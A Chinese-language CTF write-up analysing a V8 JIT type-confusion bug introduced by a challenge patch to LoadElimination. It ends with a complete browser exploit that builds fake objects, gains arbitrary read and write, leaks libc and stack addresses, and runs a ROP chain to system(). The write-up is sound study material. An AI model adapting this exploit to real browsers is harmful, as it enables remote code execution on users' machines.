0x00 前言
刚开始接触v8方面的漏洞利用,就从这题分享一下我学习的过程。
0x01 前置知识
JIT
简单来说,JS引擎在解析javascript代码时,如果发现js里有段代码一直在做重复的类似操作,比如一个循环语句,且重复次数超过某个阈值,那么就会将这段JS代码翻译为本机的汇编代码,以提高代码的执行速度,这就叫JIT优化,如下的js代码可以触发v8的JIT优化
for (var i=0;i<0x20000;i++) {
}
使用./d8 1.js -print-opt-code
,可以查看JIT代码
MAP
map是一个对象,在v8里,每一个js对象内部都有一个map对象指针,v8通过map的值来判断这个js对象到底是哪种类型。
类型混淆(Type Confusion)
如果map的类型发生错误,将会发生类型混淆,比如原本一个存double数值的数组对象,map变成了对象数组的类型,那么再次访问其元素时,取出的不再是一个double值,而是该double值作为地址指向的对象。因此可以用来伪造对象,只需伪造一个ArrayBuffer对象,即可实现任意地址读写。类型混淆往往跟JIT编译后的代码有关,某些情况下JIT即时编译的代码里的判断条件可能考虑的不充分便会发生类型混淆。
V8的数组
V8的数组是一个对象,其条目仍然是一个对象,数据存在条目对象的里,如果是DOUBLE_ELEMENTS
类型,则element对象的数据区直接保存这个double值(64位),如果是其他类型,则将数据包装为一个对象,element对象的数据区将保存这个对象的地址。
element的类型当中,以PACKED
开头的代表这是一个密集型数组(快数组)
;以HOLEY
开头的数组为稀疏数组(慢数组)
数组常见的几种element类型变化情况如下,类型变化只能沿着箭头方向进行,一旦从一种类型变为另一种类型,就不能再逆回去了。
Array(0)和new Array(0)和[]的区别
使用如下代码测试
var a = Array(0);
%DebugPrint(a);
var b = new Array(0);
%DebugPrint(b);
var c = [];
%DebugPrint(c);
测试结果
Array(0): 0x15ed08148565: [JSArray]
- map: 0x15ed083038d5 <Map(HOLEY_SMI_ELEMENTS)> [FastProperties]
- prototype: 0x15ed082cb529 <JSArray[0]>
- elements: 0x15ed080426dd <FixedArray[0]> [HOLEY_SMI_ELEMENTS]
- length: 0
- properties: 0x15ed080426dd <FixedArray[0]> {
0x15ed08044649: [String] in ReadOnlySpace: #length: 0x15ed08242159 <AccessorInfo> (const accessor descriptor)
}
new Array(0): 0x15ed08148575: [JSArray]
- map: 0x15ed083038d5 <Map(HOLEY_SMI_ELEMENTS)> [FastProperties]
- prototype: 0x15ed082cb529 <JSArray[0]>
- elements: 0x15ed080426dd <FixedArray[0]> [HOLEY_SMI_ELEMENTS]
- length: 0
- properties: 0x15ed080426dd <FixedArray[0]> {
0x15ed08044649: [String] in ReadOnlySpace: #length: 0x15ed08242159 <AccessorInfo> (const accessor descriptor)
}
[]: 0x15ed08148585: [JSArray]
- map: 0x15ed0830385d <Map(PACKED_SMI_ELEMENTS)> [FastProperties]
- prototype: 0x15ed082cb529 <JSArray[0]>
- elements: 0x15ed080426dd <FixedArray[0]> [PACKED_SMI_ELEMENTS]
- length: 0
- properties: 0x15ed080426dd <FixedArray[0]> {
0x15ed08044649: [String] in ReadOnlySpace: #length: 0x15ed08242159 <AccessorInfo> (const accessor descriptor)
}
我们看到,Array(0)和new Array(0)产生的对象在不考虑JIT的情况下
是一样的,而[]类型为PACKED_SMI_ELEMENTS,如果考虑了JIT,那么情况会变得复杂,稍后的题中将遇到这种情况。
0x02 漏洞分析
切入点
题目给了我们一个diff文件,以及经过patch后编译的chrome浏览器和v8引擎。其中diff文件如下
diff --git a/src/compiler/load-elimination.cc b/src/compiler/load-elimination.cc
index ff79da8c86..8effdd6e15 100644
--- a/src/compiler/load-elimination.cc
+++ b/src/compiler/load-elimination.cc
@@ -866,8 +866,8 @@ Reduction LoadElimination::ReduceTransitionElementsKind(Node* node) {
if (object_maps.contains(ZoneHandleSet<Map>(source_map))) {
object_maps.remove(source_map, zone());
object_maps.insert(target_map, zone());
- AliasStateInfo alias_info(state, object, source_map);
- state = state->KillMaps(alias_info, zone());
+ // AliasStateInfo alias_info(state, object, source_map);
+ // state = state->KillMaps(alias_info, zone());
state = state->SetMaps(object, object_maps, zone());
}
} else {
@@ -892,7 +892,7 @@ Reduction LoadElimination::ReduceTransitionAndStoreElement(Node* node) {
if (state->LookupMaps(object, &object_maps)) {
object_maps.insert(double_map, zone());
object_maps.insert(fast_map, zone());
- state = state->KillMaps(object, zone());
+ // state = state->KillMaps(object, zone());
state = state->SetMaps(object, object_maps, zone());
}
// Kill the elements as well.
首先,patch点出现在ReduceTransitionElementsKind
和ReduceTransitionAndStoreElement
函数中,从源文件路径知道这个类跟JIT编译器有关,在某些情况下会影响到编译出的代码。经过个人的研究,发现 ReduceTransitionElementsKind
的作用是为了加快elements
的类型转换,如果在一段会被JIT优化的js代码段中对数组的element进行类型转换操作,就会调用这个函数来构建相关的汇编代码。
小实验
首先b ReduceTransitionElementsKind
和bReduceTransitionAndStoreElement
设置断点,运行如下的测试代码
var a;
for (var i=0;i<0x2000;i++) {
a = Array(0);
a[0] = 1.1;
}
发现确实能够断下来,我们再试试这两段代码,发现都不能下断
var a;
for (var i=0;i<0x2000;i++) {
a = new Array(0);
a[0] = 1.1;
}
var a;
for (var i=0;i<0x20000;i++) {
a = [];
a[0] = 1.1;
}
为了解释其中的原因,我们查看一下JIT的汇编代码(截取部分)
第一段js代码的JIT汇编中,Array(0)的创建过程
0x33ea00084f47 87 49b8e80d0beb79550000 REX.W movq r8,0x5579eb0b0de8 ;; external reference (Heap::NewSpaceAllocationTopAddress())
0x33ea00084f51 91 4d8b08 REX.W movq r9,[r8]
0x33ea00084f54 94 4d8d5910 REX.W leaq r11,[r9+0x10]
0x33ea00084f58 98 49bcf00d0beb79550000 REX.W movq r12,0x5579eb0b0df0 ;; external reference (Heap::NewSpaceAllocationLimitAddress())
0x33ea00084f62 a2 4d391c24 REX.W cmpq [r12],r11
0x33ea00084f66 a6 0f8606020000 jna 0x33ea00085172 <+0x2b2>
0x33ea00084f6c ac 4d8d5910 REX.W leaq r11,[r9+0x10]
0x33ea00084f70 b0 4d8918 REX.W movq [r8],r11
0x33ea00084f73 b3 4983c101 REX.W addq r9,0x1
0x33ea00084f77 b7 41bb5d383008 movl r11,0x830385d ;; (compressed) object: 0x33ea0830385d <Map(PACKED_SMI_ELEMENTS)>
0x33ea00084f7d bd 458959ff movl [r9-0x1],r11
0x33ea00084f81 c1 4d8bb550010000 REX.W movq r14,[r13+0x150] (root (empty_fixed_array))
0x33ea00084f88 c8 45897103 movl [r9+0x3],r14
0x33ea00084f8c cc 45897107 movl [r9+0x7],r14
0x33ea00084f90 d0 41c7410b00000000 movl [r9+0xb],0x0
0x33ea00084f98 d8 49bf89252d08ea330000 REX.W movq r15,0x33ea082d2589 ;; object: 0x33ea082d2589 <PropertyCell name=0x33ea080c91a9 <String[1]: #a> value=0x33ea08383dd5 <JSArray[1]>>
0x33ea00084fa2 e2 45894f0b movl [r15+0xb],r9
可以看到,在这里,Array(0)初始为了PACKED_SMI_ELEMENTS
类型的数组,因此对其条目赋予double值时,会发生类型转换。
接下来,我们看第二段js代码的JIT代码中创建new Array(0)的部分
0x57300084f47 87 49b8e83d22e5f8550000 REX.W movq r8,0x55f8e5223de8 ;; external reference (Heap::NewSpaceAllocationTopAddress())
0x57300084f51 91 4d8b08 REX.W movq r9,[r8]
0x57300084f54 94 4d8d5910 REX.W leaq r11,[r9+0x10]
0x57300084f58 98 49bcf03d22e5f8550000 REX.W movq r12,0x55f8e5223df0 ;; external reference (Heap::NewSpaceAllocationLimitAddress())
0x57300084f62 a2 4d391c24 REX.W cmpq [r12],r11
0x57300084f66 a6 0f86b5010000 jna 0x57300085121 <+0x261>
0x57300084f6c ac 4d8d5910 REX.W leaq r11,[r9+0x10]
0x57300084f70 b0 4d8918 REX.W movq [r8],r11
0x57300084f73 b3 4983c101 REX.W addq r9,0x1
0x57300084f77 b7 41bb25393008 movl r11,0x8303925 ;; (compressed) object: 0x057308303925 <Map(HOLEY_DOUBLE_ELEMENTS)>
0x57300084f7d bd 458959ff movl [r9-0x1],r11
0x57300084f81 c1 4d8bb550010000 REX.W movq r14,[r13+0x150] (root (empty_fixed_array))
0x57300084f88 c8 45897103 movl [r9+0x3],r14
0x57300084f8c cc 45897107 movl [r9+0x7],r14
0x57300084f90 d0 41c7410b00000000 movl [r9+0xb],0x0
0x57300084f98 d8 49bf8d252d0873050000 REX.W movq r15,0x573082d258d ;; object: 0x0573082d258d <PropertyCell name=0x0573080c91a9 <String[1]: #a> value=0x057308373935 <JSArray[1]>>
可以看到,new Array(0)一开始就是HOLEY_DOUBLE_ELEMENTS
类型,可以满足a[0] = 1.1的操作,不需要再做类型转换。
接下来,我们看第三段js代码的JIT代码中创建[]的部分,发现[]一开始就是PACKED_DOUBLE_ELEMENTS
类型,可以满足a[0] = 1.1的操作,不需要再做类型转换。
0x30bd00084f47 87 49b8e80d40d4c6550000 REX.W movq r8,0x55c6d4400de8 ;; external reference (Heap::NewSpaceAllocationTopAddress())
0x30bd00084f51 91 4d8b08 REX.W movq r9,[r8]
0x30bd00084f54 94 4d8d5910 REX.W leaq r11,[r9+0x10]
0x30bd00084f58 98 49bcf00d40d4c6550000 REX.W movq r12,0x55c6d4400df0 ;; external reference (Heap::NewSpaceAllocationLimitAddress())
0x30bd00084f62 a2 4d391c24 REX.W cmpq [r12],r11
0x30bd00084f66 a6 0f8695010000 jna 0x30bd00085101 <+0x241>
0x30bd00084f6c ac 4d8d5910 REX.W leaq r11,[r9+0x10]
0x30bd00084f70 b0 4d8918 REX.W movq [r8],r11
0x30bd00084f73 b3 4983c101 REX.W addq r9,0x1
0x30bd00084f77 b7 41bbfd383008 movl r11,0x83038fd ;; (compressed) object: 0x30bd083038fd <Map(PACKED_DOUBLE_ELEMENTS)>
0x30bd00084f7d bd 458959ff movl [r9-0x1],r11
0x30bd00084f81 c1 4d8bb550010000 REX.W movq r14,[r13+0x150] (root (empty_fixed_array))
0x30bd00084f88 c8 45897103 movl [r9+0x3],r14
0x30bd00084f8c cc 45897107 movl [r9+0x7],r14
0x30bd00084f90 d0 41c7410b00000000 movl [r9+0xb],0x0
0x30bd00084f98 d8 49bf81252d08bd300000 REX.W movq r15,0x30bd082d2581 ;; object: 0x30bd082d2581 <PropertyCell name=0x30bd080c91a9 <String[1]: #a> value=0x30bd083c4e5d <JSArray[1]>>
实验总结
从上面的实验来看,数组的elements类型在JIT下和普通js下是不一样的,JIT会对其进行优化。其中如果是new Array(0)
和[]
创建的数组,那么其数组的elements初始时的类型就已经是目标数据的类型了。因此就不需要再调用ReduceTransitionElementsKind
和ReduceTransitionAndStoreElement
进行类型转换。因此在利用中,我们应该使用Array(0)的方式来创建数组。
漏洞分析
patch了AliasStateInfo alias_info(state, object, source_map);
和state = state->KillMaps(object, zone());
,我们先来看看KillMaps
的源码
LoadElimination::AbstractState const* LoadElimination::AbstractState::KillMaps(
const AliasStateInfo& alias_info, Zone* zone) const {
if (this->maps_) {
AbstractMaps const* that_maps = this->maps_->Kill(alias_info, zone);
if (this->maps_ != that_maps) {
AbstractState* that = new (zone) AbstractState(*this);
that->maps_ = that_maps;
return that;
}
}
return this;
}
继续看Kill
的源码,如果有两个node指向同一个对象,则创建了新map。
LoadElimination::AbstractElements const*
LoadElimination::AbstractElements::Kill(Node* object, Node* index,
Zone* zone) const {
for (Element const element : this->elements_) {
if (element.object == nullptr) continue;
if (MayAlias(object, element.object)) { //如果有两个node指向同一个对象
AbstractElements* that = new (zone) AbstractElements(zone);
for (Element const element : this->elements_) {
if (element.object == nullptr) continue;
DCHECK_NOT_NULL(element.index);
DCHECK_NOT_NULL(element.value);
if (!MayAlias(object, element.object) ||
!NodeProperties::GetType(index).Maybe(
NodeProperties::GetType(element.index))) {
that->elements_[that->next_index_++] = element;
}
}
that->next_index_ %= arraysize(elements_);
return that;
}
}
return this;
}
从上面的源码来看,如果有两个node指向的是同一个对象
,那么state = state->KillMaps(object, zone());
就会更新两个node的checkmap,这样后续生成JIT代码时,用不同的node去操作源对象也不会发生问题。为了进一步验证猜想,我们用gdb调试一下。
gdb设置参数,其中—no-enable-slow-asserts是为了能够使用p state->Print()
来查看checkmaps的信息,否则会报错。
set args --allow-natives-syntax ./3.js --no-enable-slow-asserts
测试代码
function opt(a,b) {
a[0] = 1.1;
b[0] = 1.1;
a[0] = {};
b[0] = 1.1;
}
var a;
for (var i=0;i<0x2000;i++) {
a = Array(0);
opt(a,a);
}
a = Array(0);
opt(a,a);
print(a[0]);
执行SetMaps之前,因为有a[0] = 1.1;b[0] = 1.1;
,所以它们之前已经是HOLEY_DOUBLE_ELEMENTS
类型
执行之后,由于没有KillMaps,因此b仍然保留为HOLEY_DOUBLE_ELEMENTS
类型
如果接下来执行b[0] = 1.1;
,按理来说是以HOLEY_DOUBLE_ELEMENTS
的方式向elements里写了一个double值,由于它指向的对象已经变成了HOLEY_ELEMENTS
类型,那么再次从中取元素时,double值被当成对象指针对待,因此通过控制double值,能够使得取出的值作为指针能正好指向我们可控的内存区,那么我们就可以伪造对象了。
然而实际情况是,执行b[0] = 1.1;
时,仍然是以HOLEY_ELEMENTS
的方式写入,即将1.1包装为一个HeapNumber,然后保存指针到elements。在JIT编译的时候,末尾的两句a[0] = {};
和b[0] = 1.1;
不能同时出现,否则JIT编译器收集到的信息比较充分会使得漏洞利用失败,因此应该想办法让这两句的编译时期分开,由此可以加一个条件判断,这样,两句在编译时期不会同时出现。
function opt(a,b,f1,f2) {
a[0] = 1.1;
b[0] = 1.1;
if (f1)
a[0] = {};
if (f2)
b[0] = 1.1;
}
var a;
for (var i=0;i<0x2000;i++) {
a = Array(0);
opt(a,a,true,false);
a = Array(0);
opt(a,a,false,true);
}
a = Array(0);
opt(a,a,true,true);
print(a[0]);
通过%DebugPrint(a)
查看对象a
DebugPrint: 0x2aa8083dc8e1: [JSArray]
- map: 0x2aa808303975 <Map(HOLEY_ELEMENTS)> [FastProperties]
- prototype: 0x2aa8082cb529 <JSArray[0]>
- elements: 0x2aa8083dc99d <FixedArray[17]> [HOLEY_ELEMENTS]
- length: 1
- properties: 0x2aa8080426dd <FixedArray[0]> {
0x2aa808044649: [String] in ReadOnlySpace: #length: 0x2aa808242159 <AccessorInfo> (const accessor descriptor)
}
- elements: 0x2aa8083dc99d <FixedArray[17]> {
0: -858993459
pwndbg> dd 0x2aa8083dc99c
00002aa8083dc99c 080424a5 00000022 9999999a 3ff19999
00002aa8083dc9ac 080423a1 080423a1 080423a1 080423a1
00002aa8083dc9bc 080423a1 080423a1 080423a1 080423a1
00002aa8083dc9cc 080423a1 080423a1 080423a1 080423a1
可以看到,1.1这个double值被误认为是对象指针,由此可以伪造对象。
JIT代码分析
首先poc的前面一大部分操作都是为了生成有问题的JIT代码,LoadElimination::ReduceTransitionElementsKind
是在编译器编译时调用的,而不是JIT代码运行时调用的。JIT编译完成后就不需要再调用这个进行转换了,因为转换的操作已经固化成汇编的形式了。如下是截取的有问题的JIT代码(关键部分)
0x353900085199 2d9 45398528010000 cmpl [r13+0x128] (root (heap_number_map)),r8
0x3539000851a0 2e0 0f84b1010000 jz 0x353900085357 <+0x497>
0x3539000851a6 2e6 453985a8010000 cmpl [r13+0x1a8] (root (bigint_map)),r8
0x3539000851ad 2ed 0f8492010000 jz 0x353900085345 <+0x485>
0x3539000851b3 2f3 8b4f07 movl rcx,[rdi+0x7]
0x3539000851b6 2f6 4903cd REX.W addq rcx,r13
0x3539000851b9 2f9 c5fb114107 vmovsd [rcx+0x7],xmm0
0x3539000851be 2fe 488be5 REX.W movq rsp,rbp
0x3539000851c1 301 5d pop rbp
0x3539000851c2 302 c22800 ret 0x28
我们再看一下在正常的v8引擎中相同部分编译的JIT代码
0x320a00084f30 70 48b9253930080a320000 REX.W movq rcx,0x320a08303925 ;; object: 0x320a08303925 <Map(HOLEY_DOUBLE_ELEMENTS)>
................................................................
0x320a0008519d 2dd 4539a528010000 cmpl [r13+0x128] (root (heap_number_map)),r12
0x320a000851a4 2e4 0f84da010000 jz 0x320a00085384 <+0x4c4>
0x320a000851aa 2ea 4539a5a8010000 cmpl [r13+0x1a8] (root (bigint_map)),r12
0x320a000851b1 2f1 0f84ba010000 jz 0x320a00085371 <+0x4b1>
0x320a000851b7 2f7 394fff cmpl [rdi-0x1],rcx
0x320a000851ba 2fa 0f858c020000 jnz 0x320a0008544c <+0x58c>
0x320a000851c0 300 8b4f07 movl rcx,[rdi+0x7]
0x320a000851c3 303 4903cd REX.W addq rcx,r13
0x320a000851c6 306 c5fb114107 vmovsd [rcx+0x7],xmm0
0x320a000851cb 30b 488b4de8 REX.W movq rcx,[rbp-0x18]
0x320a000851cf 30f 488be5 REX.W movq rsp,rbp
0x320a000851d2 312 5d pop rbp
0x320a000851d3 313 4883f904 REX.W cmpq rcx,0x4
0x320a000851d7 317 7f03 jg 0x320a000851dc <+0x31c>
0x320a000851d9 319 c22800 ret 0x28
可以知道,漏洞的v8的JIT编译的代码正是因为少了这一句map类型的比较,从而导致了类型混淆。
0x320a000851b7 2f7 394fff cmpl [rdi-0x1],rcx
漏洞利用
现在的v8存在指针压缩机制(pointer compression),在这种机制下,指针都用4字节来表示,即将指针的基址单独仅存储一次,然后每个指针只需存后4字节即可,因为前2字节一样,这样可以节省空间。这种机制下,堆地址是可以预测的,我们可以申请一个较大的堆空间,这样它的地址在同一台机子上就很稳定基本不变(会随系统的内存以及其他一些配置变化),在不同机子上有微小变化,可以枚举爆破。
只需要伪造一个ArrayBuffer,即可实现任意地址读写,由于本题的v8是linux下的,因此比较好利用,直接泄露栈地址然后劫持栈做ROP即可。
<!DOCTYPE html>
<html>
<body>
<script>
function opt(a,b,f1,f2)
{
a[0] = 1.1;
b[0] = 1.1;
if (f1)
a[0] = {};
if (f2)
b[0] = 1.9035980891199164e+185; //这个浮点数在内存里的表示指向了faker[1],因此,我们可以在faker[1]处开始伪造对象
}
//申请一个大的Array,由于V8的compression ptr,其地址低四字节稳定
const faker = new Array(0x10000);
faker.fill(4.765139213524301e-270);
var buf = new ArrayBuffer(0x10000);
var dv = new DataView(buf);
dv.setUint32(0,0xABCDEF78,true);
//将一个32位整数打包位64位浮点数
function p64(val) {
dv.setUint32(0x8,val & 0xFFFFFFFF,true);
dv.setUint32(0xC,val >> 32,true);
var float_val = dv.getFloat64(0x8,true);
return float_val;
}
//将两个32位整数打包为一个64位浮点数
function p64(low4,high4) {
dv.setUint32(0x8,low4,true);
dv.setUint32(0xC,high4,true);
var float_val = dv.getFloat64(0x8,true);
return float_val;
}
//解包64位浮点数的低四字节
function u64_l(val) {
dv.setFloat64(0x8,val,true);
return dv.getUint32(0x8,true);
}
//解包64位浮点数的高四字节
function u64_h(val) {
dv.setFloat64(0x8,val,true);
return dv.getUint32(0xC,true);
}
//伪造一个FixedJSArray对象用于构造addressOf和fakeObject原语
faker[1] = p64(0x082031cd,0x080426dd);
faker[2] = p64(0x08342135,0x2);
//伪造FixedJSArray的element
faker[3] = p64(0x080424a5,0x2);
//强制触发JIT编译,生成有漏洞的代码
let a;
for (let i = 0; i < 0x200000; i++)
{
a = Array(0);
opt(a,a,true,false);
a = Array(0);
opt(a,a,false,true);
}
//调用有漏洞的JIT代码,使得对象a发生类型混淆
a = Array(0);
opt(a,a,true,true);
function addressOf(obj) {
var o = a[0];
o[0] = obj;
return u64_l(faker[4]) - 1;
}
function fakeObject(addr_to_fake) {
var o = a[0];
faker[4] = p64(addr_to_fake + 1);
return o[0];
}
function isInt(obj) {
return obj % 1 === 0;
}
var buf_addr = addressOf(buf);
//alert("buf_addr="+buf_addr.toString(16));
var backing_store_ptr = buf_addr + 0x14 + 0x8;
//伪造一个ArrayBuffer用于任意地址读写
faker[5] = p64(0,0x08202dbd);
faker[6] = p64(0x080426dd,0x080426dd);
faker[7] = p64(0xffffffff,0);
faker[8] = p64(0,0);
faker[9] = p64(0,2);
//伪造一个FixedDoubleArray用于泄露地址,因为最开始,我们不知道compression ptr的高4字节是什么,因此用FixedDoubleArray可以进行相对寻址,从而泄露数据
faker[10] = p64(0,0x0820317d);
faker[11] = p64(0x080426dd,0x08342181)
faker[12] = p64(0x7ffffffe,0x08042a31);
faker[13] = p64(0x7ffffffe,0)
//注意内存对齐
if (parseInt(backing_store_ptr & 0xf) == 0x4 || parseInt(backing_store_ptr & 0xf) == 0xc) {
faker[15] = p64(0x08042a31,0x7ffffffe);
faker[11] = p64(0x080426dd,0x08342195)
}
//获得伪造的对象
var arb_bufferArray = fakeObject(0x08342148);
var fake_doubleArr = fakeObject(0x08342170);
var offset;
if (parseInt(backing_store_ptr & 0xf) == 0x4 || parseInt(backing_store_ptr & 0xf) == 0xc) {
offset = (0xFFFFFFFF - 0x0834219b + backing_store_ptr) / 8;
} else {
offset = (0xFFFFFFFF - 0x08342187 + backing_store_ptr) / 8;
}
//泄露buf对象里的数据
var v = fake_doubleArr[offset];
//alert("offset="+offset.toString(16));
//alert("heap_addr=" + u64_h(v).toString(16) + u64_l(v).toString(16));
//伪造ArrayBuffer的backing_store,从而实现任意地址读写
faker[8] = p64(u64_l(v) + 0x10,u64_h(v));
var fdv = new DataView(arb_bufferArray);
var heap_t_l = fdv.getUint32(0,true);
var heap_t_h =fdv.getUint32(4,true);
//泄露libv8.so的地址
faker[8] = p64(heap_t_l,heap_t_h);
var elf_addr_l = fdv.getUint32(0,true);
var elf_addr_h = fdv.getUint32(4,true);
var elf_base_l = elf_addr_l - 0xeb4028;
var elf_base_h = elf_addr_h;
//alert("elf_base=" + elf_base_h.toString(16) + elf_base_l.toString(16));
var strlen_got_l = elf_base_l + 0xEF4DB8;
var free_got_l = elf_base_l + 0xEF7A18;
//0x0000000000b9ac48 : mov rdi, qword ptr [r13 + 0x20] ; mov rax, qword ptr [rdi] ; call qword ptr [rax + 0x30]
var mov_rdi = elf_base_l + 0xb9ac48;
//0x000000000076039f : mov rdx, qword ptr [rax] ; mov rax, qword ptr [rdi] ; mov rsi, r13 ; call qword ptr [rax + 0x10]
var mov_rdx = elf_base_l + 0x76039f;
var pop_rdi = elf_base_l + 0x6010bb;
//泄露libc地址
faker[8] = p64(strlen_got_l,elf_base_h);
var strlen_addr_l = fdv.getUint32(0,true);
var strlen_addr_h = fdv.getUint32(4,true);
var libc_base_l = strlen_addr_l - 0x18b660;
var libc_base_h = strlen_addr_h;
var mov_rsp_rdx_l = libc_base_l + 0x5e650;
var environ_ptr_addr_l = libc_base_l + 0x1EF2E0;
var system_l = libc_base_l + 0x55410;
//alert("libc_base=" + libc_base_h.toString(16) + libc_base_l.toString(16));
//alert("system_l=" + libc_base_h.toString(16) + system_l.toString(16));
//泄露栈地址
faker[8] = p64(environ_ptr_addr_l,libc_base_h);
var stack_addr_l = fdv.getUint32(0,true);
var stack_addr_h = fdv.getUint32(4,true);
//alert("stack_addr="+stack_addr_h.toString(16) + stack_addr_l.toString(16));
faker[8] = p64(u64_l(v) + 0x80,u64_h(v));
heap_t_l = fdv.getUint32(0,true);
heap_t_h =fdv.getUint32(4,true);
if (parseInt(heap_t_h) == 0) {
location.reload();
} else {
//泄露compression ptr的高4字节数据
faker[8] = p64(heap_t_l,heap_t_h);
var compression_ptr_high = fdv.getUint32(4,true);
//alert("compression_ptr_high="+compression_ptr_high.toString(16));
//泄露buf的数据区地址
v = fake_doubleArr[offset - 1];
var buf_data_addr_l = u64_l(v);
var buf_data_addr_h = u64_h(v);
//在数据区布下ROP等
dv.setFloat64(0,p64(buf_data_addr_l+0x10,buf_data_addr_h),true);
dv.setFloat64(0x40,p64(mov_rdx,elf_base_h),true);
dv.setFloat64(0x20,p64(mov_rsp_rdx_l,libc_base_h),true);
//rsp
dv.setFloat64(0x10,p64(buf_data_addr_l+0x2000,buf_data_addr_h),true);
//rop
dv.setFloat64(0x2000,p64(pop_rdi,elf_base_h),true);
dv.setFloat64(0x2008,p64(buf_data_addr_l+0x2018,buf_data_addr_h),true);
dv.setFloat64(0x2010,p64(system_l,libc_base_h),true)
var cmd = "gnome-calculator\x00";
var bufView = new Uint8Array(buf);
for (var i = 0, strlen = cmd.length; i < strlen; i++) {
bufView[0x2018+i] = cmd.charCodeAt(i);
}
//修改0x20处为buf_data_addr
faker[8] = p64(0x20,compression_ptr_high);
fdv.setFloat64(0,p64(buf_data_addr_l,buf_data_addr_h),true);
//劫持栈返回地址为mov_rdi,将栈最终迁移到buf_data_addr里做ROP
var rop_addr_l = stack_addr_l - 0x1b18;
faker[8] = p64(rop_addr_l,stack_addr_h);
fdv.setFloat64(0,p64(mov_rdi,elf_base_h),true);
}
</script>
</body>
</html>
0x03 感想
通过这一题,学习了v8方面的很多知识,对JIT也有了一定的了解
0x04 参考
强网杯2020线下GooExec
你可能不知道的v8数组优化
深入理解Js数组
(v8 source)elements-kind.h
Google Chrome V8 JIT – ‘LoadElimination::ReduceTransitionElementsKind’ Type Confusion